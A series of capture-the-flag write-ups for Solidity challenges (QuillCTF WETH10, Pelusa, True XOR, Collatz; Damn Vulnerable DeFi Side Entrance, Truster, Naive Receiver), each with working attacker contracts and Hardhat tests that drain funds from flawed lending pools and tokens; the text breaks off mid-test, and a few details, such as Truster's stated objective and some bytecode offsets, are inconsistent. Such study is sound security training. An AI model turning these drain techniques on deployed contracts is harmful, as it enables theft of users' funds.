In this challenge, we just need to make a suffix check, a job suited for the beloved condition-type together with a string literal.

type StreetSuffixTester<T extends string, S extends string> = T extends `${string}${S}` ? true : false;

The code is pretty self-explanatory in this one.

QuillCTF: 9. WETH10

Erhan Tezcan — Tue, 21 Feb 2023 20:21:38 +0000

Tired of WETH9, we created an overall better version of the commonly used contract, providing a trustless, immutable, and standardized way for smart contracts to abstract away the difference between the native ETH asset and fungible ERC-20 tokens.

We call it WETH10, the Messi Wrapped Ether.

The contract currently has 10 ethers.

Objective of CTF:

Your job is to rescue all the funds from the contract, starting with 1 ether, in only one transaction.

Target contract:

pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";

// The Messi Wrapped Ether
contract WETH10 is ERC20("Messi Wrapped Ether", "WETH10"), ReentrancyGuard {
  receive() external payable {
    deposit();
  }

  function _burnAll() internal {
    _burn(msg.sender, balanceOf(msg.sender));
  }

  function deposit() public payable nonReentrant {
    _mint(msg.sender, msg.value);
  }

  function withdraw(uint256 wad) external nonReentrant {
    Address.sendValue(payable(msg.sender), wad);
    _burn(msg.sender, wad);
  }

  function withdrawAll() external nonReentrant {
    Address.sendValue(payable(msg.sender), balanceOf(msg.sender));
    _burnAll();
  }

  /// @notice Request a flash loan in ETH
  function execute(address receiver, uint256 amount, bytes calldata data) external nonReentrant {
    uint256 prevBalance = address(this).balance;
    Address.functionCallWithValue(receiver, data, amount);

    require(address(this).balance >= prevBalance, "flash loan not returned");
  }
}

The Attack

In this challenge, it first feels like we should do something with the flash loan. However, most of the functions are re-entrancy guarded, so we can't really get into them from within the loan. However, the loan logic itself allows us to call anything!

So, first we can have infinite allowance by making the contract itself call approve from within the loan, approving us a lot of tokens.

The real trick is in the second one, which is related to actually draining the funds. Let us examine the withdraw functions:

withdraw takes an amount, and sends it as value to the caller, and burns that same amount from the WETH10.
withdrawAll seems like it is doing a withdraw(<your-balance>) but it is not! At the burning step, it just burns your remaining token balance at that point! So, if you could somehow secure your tokens elsewhere right after receiving your withdrawals, but right before the burning takes place; then, you can retrieve those tokens later to keep withdrawing!

That is exactly what we will do. We first start with 1 ETH, so we can draw 1 ETH for free. Then, we can draw 2 ETH, and then 4 ETH and so on, until we drain the contract.

Proof of Concept

Our attacker contract, acting as Bob here, is written as follows:

contract WETH10Attacker {
  WETH10 immutable weth10;
  address immutable target;
  address immutable bob;

  bool ispwning;

  constructor(address targetAddress) {
    weth10 = WETH10(payable(targetAddress));
    bob = address(this);
    target = targetAddress;
  }

  function min(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a < b) {
      return a;
    }
    return b;
  }

  function pwn() external {
    // take 0-amount flash loan, approving many many tokens to the user
    weth10.execute(target, 0, abi.encodeWithSignature("approve(address,uint256)", [uint256(uint160(bob)), 9999 ether]));

    while (target.balance != 0) {
      // commence attack with min(yourBalance, targetBalance)
      uint256 amount = min(bob.balance, target.balance);

      // deposit WETH
      weth10.deposit{value: amount}();

      // withdraw WETH, will enter `receive`
      ispwning = true;
      weth10.withdrawAll();
      ispwning = false;

      // transferFrom back your WETH10
      weth10.transferFrom(target, bob, amount);

      // withdraw for real to get extra ETH for your WETH10
      weth10.withdrawAll();
    }
  }

  receive() external payable {
    if (ispwning) {
      // send WETH10 back to the pool, before burning happens
      weth10.transfer(target, msg.value);
    }
  }
}

A Hardhat proof-of-concept test is written as follows (in compliance with the setup described in Foundry):

describe('QuillCTF: 9. WETH10', () => {
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  let contract: WETH10;
  let bob: WETH10Attacker;

  const CONTRACT_INITIAL_BALANCE = ethers.utils.parseEther('10');
  const BOB_INITIAL_BALANCE = ethers.utils.parseEther('1');

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    contract = await ethers.getContractFactory('WETH10', owner).then(f => f.deploy());
    await contract.deployed();

    // weth contract should have 10 ether
    await ethers.provider.send('hardhat_setBalance', [contract.address, '0x8ac7230489e80000']);
    expect(await ethers.provider.getBalance(contract.address)).to.eq(CONTRACT_INITIAL_BALANCE);
  });

  it('should rescue funds', async () => {
    bob = await ethers.getContractFactory('WETH10Attacker', attacker).then(f => f.deploy(contract.address));
    await bob.deployed();

    // bob should have 1 ether
    await ethers.provider.send('hardhat_setBalance', [bob.address, '0xde0b6b3a7640000']);
    expect(await ethers.provider.getBalance(bob.address)).to.eq(BOB_INITIAL_BALANCE);

    // pwn
    await bob.pwn();
  });

  after(async () => {
    // empty weth contract
    expect(await ethers.provider.getBalance(contract.address)).to.eq(0);

    // bob balance should be 11 ETH
    expect(await ethers.provider.getBalance(bob.address)).to.eq(ethers.utils.parseEther('11'));
  });
});

QuillCTF: 8. Pelusa

Erhan Tezcan — Tue, 21 Feb 2023 20:17:04 +0000

You just opened your eyes and are in Mexico 1986; help Diego set the score from 1 to 2 goals for a win, and do whatever is necessary!

Objective of CTF:

Score from 1 to 2 goals for a win (i.e. increment the goals variable).

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IGame {
  function getBallPossesion() external view returns (address);
}

contract Pelusa {
  address private immutable owner;
  address internal player;
  uint256 public goals = 1;

  constructor() {
    owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
  }

  function passTheBall() external {
    require(msg.sender.code.length == 0, "Only EOA players");
    require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");

    player = msg.sender;
  }

  function isGoal() public view returns (bool) {
    // expect ball in owners posession
    return IGame(player).getBallPossesion() == owner;
  }

  function shoot() external {
    require(isGoal(), "missed");
    (bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()"));
    require(success, "missed");
    require(uint256(bytes32(data)) == 22_06_1986);
  }
}

The Attack

There are several points to cover here:

First of all, we need to implement a contract to be the player. This contract must have code-size 0!
Furthermore, when the address is looked at in modulo 100, it must return 10. This means that the contract address msut be something chosen by us somehow.
After the player is set, we can call shoot to make a delegate-call to our player contract. There, it will handle this call within handOfGod() function.
We must access the owner immutable variable to give it to our contract.

We will tackle these one by one.

Code Size 0

The solution to having a contract with code-size 0 is to make the call during it's construction phase! Since a code that runs within constructor is not deployed to the chain yet, i.e. it lives in calldata rather than memory, it will have code-size 0.

Address modulo 10

How can we generate a contract with the desired address? Well, a naive solution could be to deploy many contracts until you have your desired address, in this case one that results in 10 in mod 100.

However, we got neither time nor gas for that. So, CREATE2 comes into rescue! With CREATE2, we can deploy a contract with an additional salt to be used in address generation. Since we can give this salt whatever we like, we can choose one specific salt so that the address result in one such that it results in 10 mod 100.

Note that the probability of a randomly generated number being congruent to 10 modulo 100 is around 1/100. So our expected probability of generating a correct contract is about 100 tries.

Hand of God

Our contract will handle the handOfGod delegate call. Delegate call's operate on the context of the caller contract, while running the code at the target contract. So, we actually have access to all storage variables during handOfGod, and we can simply set goals to be 2 to win the game.

Returning 22_06_1986 is not a problem, just write return 22_06_1986; and you are good to go.

Immutable Owner

Immutable variables, introduced around compiler version 0.6, are variables that are set during the construction phase. However, the variable are not stored in storage, but instead their references within the bytecode are replaced with their computed value during deployment!

So, you can't simply read the storage to get the value of immutables, you must dive into the bytecode. This may sound like a needle-in-haystack issue, but thankfully we have a clue: PUSH32.

Immutable variable references are replaced with PUSH32 <value> within the bytecode, and there are not that many PUSH32's within the code. Furthermore, in this contract the immutable value is an address, so we can expect a PUSH32 <address> where the address is a 32-byte value with 12-byte prepending zeros!

We can get the code via getCode function of ethers, and then look specifically for PUSH32 followed by 12 bytes of zeros. Then, we will retrieve the remaining 20-bytes as the address.

const code = await ethers.provider.getCode(contract.address);
// PUSH32 (code: 7f) followed by 12 bytes of zeros
const index = code.indexOf('7f000000000000000000000000');
const pushLine = code.slice(index, index + 66); // get the line
const ownerAddress = '0x' + pushLine.slice(26); // get remaining 20 bytes
expect(ownerAddress).to.be.properAddress;

This works for this challenge, but you can also do this manually by opening the code at and CTRL+F the string above within the code. You should expect to get just a single occurence for this challenge!

Proof of Concept

Now, we can construct our attacker contract, along with contract that will deploy it with CREATE2.

contract PelusaAttacker is IGame {
  address public owner;
  uint256 goals;

  constructor(address owner_, address target_) {
    owner = owner_; // read from private storage of target
    Pelusa(target_).passTheBall(); // become the player
  }

  function getBallPossesion() external view override returns (address) {
    return owner;
  }

  function handOfGod() external returns (uint256) {
    goals = 2; // wins via delegatecall storage collision
    return 22_06_1986;
  }
}

The contract implementation is rather straightforward: call passTheBall during construction phase and then you will become the player. Below is the contract to deploy the one above:

contract PelusaAttackerDeployer {
  address public deployment;
  address immutable target;

  constructor(address target_) {
    target = target_;
  }

  // will check the address requirement and create the contract with Create2
  function deployAttacker(address _owner, bytes32 _salt) external {
    address addr = address(new PelusaAttacker{salt: _salt}(_owner, target));
    require(uint256(uint160(addr)) % 100 == 10, "bad address");
    deployment = addr;
  }
}

This deployer will take a salt parameter given by us, but it will also make sure it matched the requirement, to save gas in case it is wrong. Once it is successful, we can read the deployed address via the public deployment variable.

Below is the Hardhat code to execute the attack:

describe('QuillCTF 8: Pelusa', () => {
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  let contract: Pelusa;
  let attackerDeployer: PelusaAttackerDeployer;

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    contract = await ethers.getContractFactory('Pelusa', owner).then(f => f.deploy());
    await contract.deployed();

    expect(await contract.goals()).to.eq(1);
  });

  it('should score a goal', async () => {
    // should deploy
    attackerDeployer = await ethers
      .getContractFactory('PelusaAttackerDeployer', attacker)
      .then(f => f.deploy(contract.address));
    await attackerDeployer.deployed();

    // immutables are stored directly within bytecode, rather than storage
    // we have to parse it from the bytecode
    // address can be found by analyzing the code at evm.codes/playground
    // or you can parse as follows
    const code = await ethers.provider.getCode(contract.address);
    const index = code.indexOf('7f000000000000000000000000'); // PUSH32 followed by 12byte zeros
    const pushLine = code.slice(index, index + 66);
    const ownerAddress = '0x' + pushLine.slice(26);
    expect(ownerAddress).to.be.properAddress;

    // randomly find the salt
    for (let i = 0; i < 2500; i++) {
      const s = ethers.utils.randomBytes(32);
      try {
        await attackerDeployer.connect(attacker).deployAttacker(ownerAddress, s);
        // console.log('Attempt:', i, '\tSalt:', Buffer.from(s).toString('hex'));
        break;
        // eslint-disable-next-line no-empty
      } catch (err) {}
    }
    // ensure deployment went right
    expect(await attackerDeployer.deployment()).to.not.eq(ethers.constants.AddressZero);

    // score the goal!
    await contract.connect(attacker).shoot();
  });

  after(async () => {
    expect(await contract.goals()).to.eq(2);
  });
});

QuillCTF: 7. True XOR

Erhan Tezcan — Tue, 14 Feb 2023 09:21:21 +0000

Objective of CTF:

Make a successfull call to the ctf function.
The given target parameter should belong to a contract deployed by you, and should use IBoolGiver interface.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IBoolGiver {
  function giveBool() external view returns (bool);
}

contract TrueXOR {
  function ctf(address target) external view returns (bool) {
    bool p = IBoolGiver(target).giveBool();
    bool q = IBoolGiver(target).giveBool();
    require((p && q) != (p || q), "bad bools");
    require(msg.sender == tx.origin, "bad sender");
    return true;
  }
}

The Solution

The logical operation that is happening in ctf basically does an XOR. If the XOR of p and q is 0, the transaction will revert. Furthermore, we require the sender to be an EOA.

The question boils down to this: how can we return different values from a view function? We need to somehow change the state without using view, but how can we do that? Well, we don't have to be the ones to change the state; EVM does it literally every instruction by changing the gasleft result! So, if we can find the remaining gas in between the two calls to giveBool, we can use that to return a different result.

Proof of Concept

Here is the attacker contract:

contract TrueXORAttacker is IBoolGiver {
  uint t = 28543000;

  function giveBool() external view override returns (bool) {
    uint g = gasleft();
    return g < t;
  }

  function changeThreshold(uint _t) external {
    t = _t;
  }
}

We added an extra changeThreshold function to avoid deploying a new contract in case we miss the sweet spot for the gasleft. In my case, 28543000 was the correct amount, such that within the first call there is more gas, and within the second call there is less gas.

The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.

describe('Custom: True XOR', () => {
  let contract: TrueXOR;
  let attackerContract: TrueXORAttacker;
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    contract = await ethers.getContractFactory('TrueXOR', owner).then(f => f.deploy());
    await contract.deployed();
  });

  it('should call `ctf` successfully', async () => {
    // deploy the attacker contract
    attackerContract = await ethers.getContractFactory('TrueXORAttacker', attacker).then(f => f.deploy());
    await attackerContract.deployed();

    expect(await contract.connect(attacker).ctf(attackerContract.address)).to.be.true;
  });
});

Alternative Solution

If you look into detials of loading a storage variable, you will see that the first time a storage variable is loaded, it will cost minimum 2100 gas. Later loads however will cost a lot less, around a minimum 100. So, the gas usage of a storage variable load can tell us whether a function has been called before or not.

Here is an example contract for this scenario:

contract TrueXORAttacker2 is IBoolGiver {
  uint256 slot0 = 12345;

  function giveBool() external view override returns (bool) {
    uint gas = gasleft();
    uint tmp = slot0;
    tmp; // silence warning
    return (gas - gasleft()) >= 2000;
  }
}

This works fine too!

QuillCTF: 6. Collatz Puzzle

Erhan Tezcan — Tue, 14 Feb 2023 09:19:14 +0000

Objective of CTF:

Make a successful call to the ctf function.
You should be the deployer of the contract at the given addr parameter!

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICollatz {
  function collatzIteration(uint256 n) external pure returns (uint256);
}

contract CollatzPuzzle is ICollatz {
  function collatzIteration(uint256 n) public pure override returns (uint256) {
    if (n % 2 == 0) {
      return n / 2;
    } else {
      return 3 * n + 1;
    }
  }

  function ctf(address addr) external view returns (bool) {
    // check code size
    uint256 size;
    assembly {
      size := extcodesize(addr)
    }
    require(size > 0 && size <= 32, "bad code size!");

    // check results to be matching
    uint p;
    uint q;
    for (uint256 n = 1; n < 200; n++) {
      // local result
      p = n;
      for (uint256 i = 0; i < 5; i++) {
        p = collatzIteration(p);
      }
      // your result
      q = n;
      for (uint256 i = 0; i < 5; i++) {
        q = ICollatz(addr).collatzIteration{gas: 100}(q);
      }
      require(p == q, "result mismatch!");
    }

    return true;
  }
}

Solution

The important part here is obviously is the code size constraint. Writing a contract would incur a huge code size, so we have to dive hands-dirty into EVM level. We want to implement a function with the signature collatzIteration(uint256) in which a Collatz iteration takes place.

Runtime Code

We don't need to care about the function signature actually, we can just ignore the selector bytes, and do the process on whatever argument we get! This will save some bytes. First, let us write our runtime code that handles the Collatz iteration logic:

Code Size	Section	Instruction	Stack	Explanation
`0x02`	`entry` ⚪	`PUSH1 0x04`	`0x4`	skip 4-byte selector
`0x03`	`entry` ⚪	`CALLDATALOAD`	`n`	load argument from calldata
`0x04`	`entry` ⚪	`DUP1`	`n n`	duplicate `n`
`0x06`	`entry` ⚪	`PUSH1 0x01`	`0x1 n n`	check parity by AND'ing with 1
`0x07`	`entry` ⚪	`AND`	`i n`	get the last bit `i = 0x1 & n`
`0x09`	`entry` ⚪	`PUSH1 0x13`	`0x13 i n`	push destination to `odd`
`0x0A`	`entry` ⚪	`JUMPI`	`n`	conditional jump to `odd`
`0x0C`	`even` 🟢	`PUSH1 0x1`	`0x1 n`	add `1` to shift once
`0x0D`	`even` 🟢	`SHR`	`m`	find `n/2`, as shifting right once divides by 2. denote as `m`
`0x0F`	`even` 🟢	`PUSH1 0x17`	`0x17 m`	push destination to `return`
`0x10`	`even` 🟢	`JUMP`	`m`	go to `return`
`0x11`	`odd` 🔵	`JUMPDEST`	`n`	destination for `odd` subroutine
`0x13`	`odd` 🔵	`PUSH1 0x3`	`0x3 n`	push 3 for multiplication
`0x14`	`odd` 🔵	`MUL`	`3n`	find `3n`
`0x16`	`odd` 🔵	`PUSH1 0x1`	`0x1 3n`	push 1 for addition
`0x17`	`odd` 🔵	`ADD`	`m`	find `3n+1`, denote as `m`
`0x18`	`return` ⚫	`JUMPDEST`	`m`	destination for `return` subroutine
`0x1A`	`return` ⚫	`PUSH1 0x80`	`0x80 m`	push `0x80`, the first free memory slot
`0x1B`	`return` ⚫	`MSTORE`	`-`	store the result at `0x80` in memory
`0x1D`	`return` ⚫	`PUSH1 0x20`	`0x20`	to return an `uint256`, we need 32 bytes
`0x1F`	`return` ⚫	`PUSH1 0x80`	`0x80 0x20`	position to return the data in memory
`0x20`	`return` ⚫	`RETURN`	`-`	returns 32 bytes from `0x80` in memory

We have given section names and colors to make it more clear how the code is structured. The entry section simply retrieves the input argument (32-byte argument, ignoring the 4-byte function selector). Then, we do bitwise-AND operation on the input number with 1, which will return the last bit. If the last bit is 0, the number is even; 1 otherwise. The conditional jump activates when the top of the stack is non-zero, so it will only JUMP to the odd section if the number is odd. The even and odd sections do the n/2 and 3n+1 operations respectively. Also note that there is an additional jump at the end even section, to go directly to the return section.

Here is the code in copy-paste-friendly format:

// entry
PUSH1 0x04
CALLDATALOAD
DUP1
PUSH1 0x01
AND
PUSH1 0x10
JUMPI // ═════════════════╗
                       // ║
// even                // ║
PUSH1 0x01             // ║
SHR                    // ║
PUSH1 0x17             // ║
JUMP // ════════════╗     ║
                 // ║     ║
// odd           // ║     ║
JUMPDEST // <═══════║═════╝
PUSH1 0x3        // ║
MUL              // ║
PUSH1 0x1        // ║
ADD              // ║
                 // ║
// return        // ║
JUMPDEST // <═══════╝
PUSH1 0x80
MSTORE
PUSH1 0x20
PUSH1 0x80
RETURN

You can copy-paste the code above to play around with it at https://www.evm.codes/playground. Try calling with 0x112233440000000000000000000000000000000000000000000000000000000000000003. This inputs means n = 3 and the returned value will be a 32-byte value 3*3+1 = 10 = 0x000..00A. The bytecode for this code is 0x6004358060011660105760011c6017565b6003026001015b60805260206080f3 (you can retrieve this from the playground link above) and it is exactly 32 bytes! This is just enough to match our constraint of 0 < codeSize <= 32.

Initialization Code

Now we can write the initialization code, which is tasked with copying the runtime code above into the memory. It will do so via CODECOPY instruction, and must later return the code from memory. The instructions are as follows:

Code Size	Section	Instruction	Stack	Explanation
`0x02`	`init` 🔴	`PUSH1 0x20`	`0x20`	runtime code is `32 = 0x20` bytes
`0x04`	`init` 🔴	`PUSH1 0x0C`	`0x0C 0x20`	runtime code starts at `12 = 0x0C`
`0x06`	`init` 🔴	`PUSH1 0x00`	`0x00 0x0C 0x20`	runtime code should be written to slot 0
`0x07`	`init` 🔴	`CODECOPY`	`-`	copy the runtime code from calldata to memory
`0x09`	`init` 🔴	`PUSH1 0x20`	`0x20`	runtime code is `32 = 0x20` bytes
`0x0b`	`init` 🔴	`PUSH1 0x00`	`0x00 0x20`	runtime code is written to slot 0
`0x0c`	`init` 🔴	`RETURN`	`-`	32-bytes are returned from the memory

Again, in copy-paste friendly format:

PUSH1 0x20 // 32 bytes
PUSH1 0x0C // position in bytecode of the runtime code
PUSH1 0x00 // write to memory position 0
CODECOPY   // copy the bytecode
PUSH1 0x20 // 32 bytes
PUSH1 0x00 // read from memory position 0
RETURN     // returns the code copied above

The bytecode is 0x6020600c60003960206000f3. This will deploy the runtime code above to the chain.

Deployment & Testing

The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.

describe('Custom: Collatz Puzzle', () => {
  let contract: CollatzPuzzle;
  let owner: SignerWithAddress;

  const initializationCode = '6020600c60003960206000f3';
  const runtimeCode = '6004358060011660105760011c6017565b6003026001015b60805260206080f3';

  before(async () => {
    [owner] = await ethers.getSigners();
    contract = await ethers.getContractFactory('CollatzPuzzle', owner).then(f => f.deploy());
    await contract.deployed();
  });

  it('should call `ctf` successfully', async () => {
    // deploy your contract
    const tx = await owner.sendTransaction({
      to: undefined, // contract creation
      data: '0x' + initializationCode + runtimeCode,
    });
    const receipt = await tx.wait();

    // get address from receipt
    const addr = receipt.contractAddress;
    expect(addr).to.be.properAddress;

    // run the ctf function
    expect(await contract.ctf(addr)).to.be.true;
  });
});

Fun fact: I was the author of this puzzle!

Damn Vulnerable Defi: 4. Side Entrance

Erhan Tezcan — Sat, 28 Jan 2023 12:06:17 +0000

Damn Vulnerable Defi is a series of challenges related to DeFi by tinchoabbate. It has flash loans, exchanges, pools and much more. In this series I will be sharing my solutions for the challenges.

A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time. This very simple lending pool has 1000 ETH in balance already, and is
offering free flash loans using the deposited ETH to promote their system. You must take all ETH from the lending pool.

Objective of CTF:

Steal all ETH from the pool.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
  function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
  using Address for address payable;

  mapping(address => uint256) private balances;

  function deposit() external payable {
    balances[msg.sender] += msg.value;
  }

  function withdraw() external {
    uint256 amountToWithdraw = balances[msg.sender];
    balances[msg.sender] = 0;
    payable(msg.sender).sendValue(amountToWithdraw);
  }

  function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;
    require(balanceBefore >= amount, "Not enough ETH in balance");

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
  }
}

The Attack

Something looks familiar here: remember in a previous challenge there were two different sources of truth regarding the balance? Here, we have such a problem.

While the pool keeps track of balances of everyone via the balances mapping, it is not keeping track of it's own balance in that way! Instead, it is simply using address(this).balance. That balance would be the sum of all values under balances mapping.

This would be acceptable in the sense that the pool has to know how much total funds there is within, however using that logic within the pool comes with a problem.

See, if a borrowed flash loan is deposited immediately to the contract via deposit function, the contract balance would not drop but now all those funds will look as if they belong to the borrower!

Proof of Concept

Our attacker contract is as follows:

contract SideEntranceAttacker is IFlashLoanEtherReceiver {
  SideEntranceLenderPool immutable pool;

  constructor(address target) {
    pool = SideEntranceLenderPool(target);
  }

  function execute() external payable override {
    pool.deposit{value: msg.value}();
  }

  function pwn() external {
    // flash loan the entire pool
    pool.flashLoan(address(pool).balance);
    // this will execute the function above, depositing all that as if your own funds
    // then, withdraw them back
    pool.withdraw();
    // finally, transfer these back to yourself
    payable(msg.sender).transfer(address(this).balance);
  }

  // required to receive ether
  receive() external payable {}
}

The Hardhat test is as follows:

describe('Damn Vulnerable Defi 4: Side Entrance', () => {
  // accounts
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  // contracts
  let pool: SideEntranceLenderPool;

  // constants
  const ETHER_IN_POOL = ethers.utils.parseEther('1000');
  let attackerInitialBalance: BigNumber;

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    pool = await ethers.getContractFactory('SideEntranceLenderPool', owner).then(f => f.deploy());
    attackerInitialBalance = await ethers.provider.getBalance(attacker.address);

    // owner puts some ether in the pool
    await pool.deposit({value: ETHER_IN_POOL});

    expect(await ethers.provider.getBalance(pool.address)).to.equal(ETHER_IN_POOL);
  });

  it('should drain funds from the pool', async () => {
    const attackerContract = await ethers
      .getContractFactory('SideEntranceAttacker', owner)
      .then(f => f.deploy(pool.address));
    await attackerContract.connect(attacker).pwn();
  });

  after(async () => {
    expect(await ethers.provider.getBalance(pool.address)).to.be.equal('0');

    // we are'nt checking exactly how much is the final balance of the attacker,
    // because it'll depend on how much gas the attacker spends in the attack
    // If there were no gas costs, it would be balance before attack + ETHER_IN_POOL
    const attackerNewBalance = await ethers.provider.getBalance(attacker.address);
    expect(attackerNewBalance.gt(attackerInitialBalance)).to.be.true;
  });
});

Damn Vulnerable Defi: 3. Truster

Erhan Tezcan — Sat, 28 Jan 2023 11:56:48 +0000

Damn Vulnerable Defi is a series of challenges related to DeFi by tinchoabbate. It has flash loans, exchanges, pools and much more. In this series I will be sharing my solutions for the challenges.

More and more lending pools are offering flash loans.
In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
Currently the pool has 1 million DVT tokens in balance. And you have nothing. But don't worry, you might be able to take them all from the pool. In a single transaction.

Objective of CTF:

Steal all ETH from the pool.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {
  using Address for address;

  IERC20 public immutable damnValuableToken;

  constructor(address tokenAddress) {
    damnValuableToken = IERC20(tokenAddress);
  }

  function flashLoan(
    uint256 borrowAmount,
    address borrower,
    address target,
    bytes calldata data
  ) external nonReentrant {
    uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
    require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

    damnValuableToken.transfer(borrower, borrowAmount);
    target.functionCall(data);

    uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
    require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
  }
}

The Attack

The lender is making a very trustful function call to a target with the given calldata data. The call-data can be anything, such as transferring the tokens of Truster to us. However, that would fail to pay back the flash loan within the same transaction,

Instead, we can make it approve all of its tokens for us, by giving the token address as target and data as an approval function call. This way, we have access to all the tokens but have not withdrawn them yet. Once the flashLoan is done, we can take all the approved tokens.

Proof of Concept

The Hardhat test below demonstrates this attack.

describe('Damn Vulnerable Defi 3: Truster', () => {
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  let token: DamnValuableToken;
  let pool: TrusterLenderPool;

  const TOKENS_IN_POOL = ethers.utils.parseEther('1000000');

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    token = await ethers.getContractFactory('DamnValuableToken', owner).then(f => f.deploy());
    pool = await ethers.getContractFactory('TrusterLenderPool', owner).then(f => f.deploy(token.address));

    await token.transfer(pool.address, TOKENS_IN_POOL);
    expect(await token.balanceOf(pool.address)).to.equal(TOKENS_IN_POOL); // pool has quite a lot of tokens
    expect(await token.balanceOf(attacker.address)).to.equal(0); // attacker has nothing
  });

  it('should drain tokens from the pool', async () => {
    // get balance
    const balance = await token.balanceOf(pool.address);

    // make the flash loan function do approve tokens for us
    await pool
      .connect(attacker)
      .flashLoan(
        0,
        attacker.address,
        token.address,
        token.interface.encodeFunctionData('approve', [attacker.address, balance])
      );
    expect(await token.allowance(pool.address, attacker.address)).to.eq(balance);

    await token.connect(attacker).transferFrom(pool.address, attacker.address, balance);
    // NOTE: this attack could be done in a single transaction using a middleman contract too
  });

  after(async () => {
    // attacker has taken all tokens from the pool
    expect(await token.balanceOf(attacker.address)).to.equal(TOKENS_IN_POOL);
    expect(await token.balanceOf(pool.address)).to.equal('0');
  });
});

Damn Vulnerable Defi: 2. Naive Receiver

Erhan Tezcan — Sat, 28 Jan 2023 11:49:18 +0000

Damn Vulnerable Defi is a series of challenges related to DeFi by tinchoabbate. It has flash loans, exchanges, pools and much more. In this series I will be sharing my solutions for the challenges.

There's a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.
Drain all ETH funds from the user's contract. Doing it in a single transaction is a big plus ;)

Objective of CTF:

Steal all ETH from the receiver contract.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {
  using Address for address;

  uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

  function fixedFee() external pure returns (uint256) {
    return FIXED_FEE;
  }

  function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
    uint256 balanceBefore = address(this).balance;
    require(balanceBefore >= borrowAmount, "Not enough ETH in pool");

    require(borrower.isContract(), "Borrower must be a deployed contract");
    // Transfer ETH and handle control to receiver
    borrower.functionCallWithValue(abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE), borrowAmount);

    require(address(this).balance >= balanceBefore + FIXED_FEE, "Flash loan hasn't been paid back");
  }

  // Allow deposits of ETH
  receive() external payable {}
}

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver {
  using Address for address payable;

  address payable private pool;

  constructor(address payable poolAddress) {
    pool = poolAddress;
  }

  // Function called by the pool during flash loan
  function receiveEther(uint256 fee) public payable {
    require(msg.sender == pool, "Sender must be pool");

    uint256 amountToBeRepaid = msg.value + fee;
    require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");

    _executeActionDuringFlashLoan();

    // Return funds to pool
    pool.sendValue(amountToBeRepaid);
  }

  // Internal function where the funds received are used
  function _executeActionDuringFlashLoan() internal {}

  // Allow deposits of ETH
  receive() external payable {}
}

The Attack

The important thing to notice here is that flashLoan function does not care about the transaction origin, it simply takes a borrower address and a borrow amount.

As such, the receiver contract at the borrower address, if not aware of this fact, may naively implement a vulnerable receiveEther function for the flash loan. That is exactly what happens here.

The receiver has implemented a receiveEther function that only cares about msg.sender being the pool. We can easily get past that by asking for a flash loan for this receiver contract.

Since taking a loan results in a fee to be paid, and receiveEther implements the logic to pay for that fee, we can drain the funds by making it pay for the loan fee again and again. Since the fee is 1 ETH and the receiver has 10 ETH, we can ask for a loan 10 times for the receiver and the funds will be drained!

Proof of Concept

Here is a Hardhat test to demonstrate the attack.

describe('DamnVulnDefi 2: Naive Receiver', () => {
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  let pool: NaiveReceiverLenderPool;
  let receiver: FlashLoanReceiver;

  const ETHER_IN_POOL = ethers.utils.parseEther('1000'); // pool has 1000 ETH
